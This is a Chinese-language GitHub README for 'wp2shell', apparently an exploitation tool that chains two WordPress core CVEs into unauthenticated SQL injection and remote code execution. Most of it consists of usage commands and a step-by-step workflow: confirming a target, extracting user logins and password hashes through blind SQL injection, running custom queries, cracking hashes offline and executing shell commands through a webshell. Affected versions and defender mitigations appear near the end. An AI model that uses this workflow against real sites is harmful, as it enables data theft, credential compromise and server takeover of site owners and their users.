lucifer0xf/wp2shell-Wordpress-TOWN
GitHub: lucifer0xf/wp2shell-Wordpress-TOWN
针对 WordPress 核心 CVE-2026-63030 与 CVE-2026-60137 漏洞链的未认证远程代码执行利用工具。
Stars: 0 | Forks: 0
# wp2shell 作者 : lucifer0xf
[command] [options]
```
### 交互模式 (菜单驱动)
```
./wp2shell.py http://target.com
```
启动一个交互式菜单,所有功能都可以通过数字选项进行访问。
### 命令
#### `check` — 确认漏洞 (安全)
执行时间延迟探测以确认可利用性。不读取数据,不进行任何更改。
```
./wp2shell.py http://target.com check
```
#### `read` — 提取数据 (盲注)
使用基于时间的盲注 (Blind SQL injection) 从数据库中提取信息。
```
# 服务器指纹(版本、数据库、用户)
./wp2shell.py http://target.com read
# 提取用户登录名和密码 hash
./wp2shell.py http://target.com read --users
# 提取数据库名
./wp2shell.py http://target.com read --database
# 提取 MySQL 版本
./wp2shell.py http://target.com read --version
# 自定义 SQL 查询
./wp2shell.py http://target.com read --query "SELECT @@version"
```
#### `shell` — 远程代码执行
**需要有效的管理员凭证。** SQL 注入可以恢复密码哈希,但您必须提供恢复后的明文密码。
```
# 执行单个命令
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# 执行单个命令(简写形式)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
```
## 选项
| 选项 | 描述 |
|--------|-------------|
| `--users` | 从 `wp_users` 中提取 `user_login` 和 `user_pass` |
| `--database` | 提取当前数据库名称 |
| `--version` | 提取 MySQL 版本 |
| `--query "SQL"` | 执行自定义 SQL 查询 (盲注提取) |
| `--user USER` | 用于 RCE 的管理员用户名 |
| `--password PASS` | 用于 RCE 的管理员密码 (通过 SQLi 恢复的明文) |
| `--cmd CMD` | 通过 webshell 执行的命令 |
## 示例工作流
```
# 1. 检查目标是否存在漏洞
./wp2shell.py https://example.com check
# 2. 提取管理员密码 hash
./wp2shell.py https://example.com read --users
# 3. 离线破解 hash(使用 hashcat、john 等)
# hashcat -m 400 /path/to/wordlist.txt
# 4. 使用恢复的密码执行命令
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
```
## 受影响版本
| 分支 | 受影响版本 | 已修复版本 |
|--------|----------|-------|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (仅限 SQLi,无 RCE) | 6.8.6 |
6.9.0 之前的版本**不**受完整 RCE 链的影响。
## 检测与缓解
**对于防御方:**
- 立即更新至 **6.9.5**、**7.0.2** 或更高版本
- Cloudflare WAF 客户户会受到自动保护
- Wordfence 客户拥有防火墙规则
- 监控带有嵌套 `requests` 主体的 `POST /wp-json/batch/v1` 请求
- 批量路由上出现 `404` 并不总是意味着“已修补”——它也可能意味着 WAF/CDN 正在阻止匿名的 REST API 访问
## 法律免责声明
## 鸣谢
- **发现者**: Adam Kues (Assetnote / Searchlight Cyber)
- **CVE-2026-60137** (SQLi): TF1T, dtro, haongo
- **CVE-2026-63030** (批量路由混淆): Adam Kues
标签:CISA项目, Python, WordPress, 安全, 无后门, 编程工具, 超时处理, 远程代码执行, 逆向工具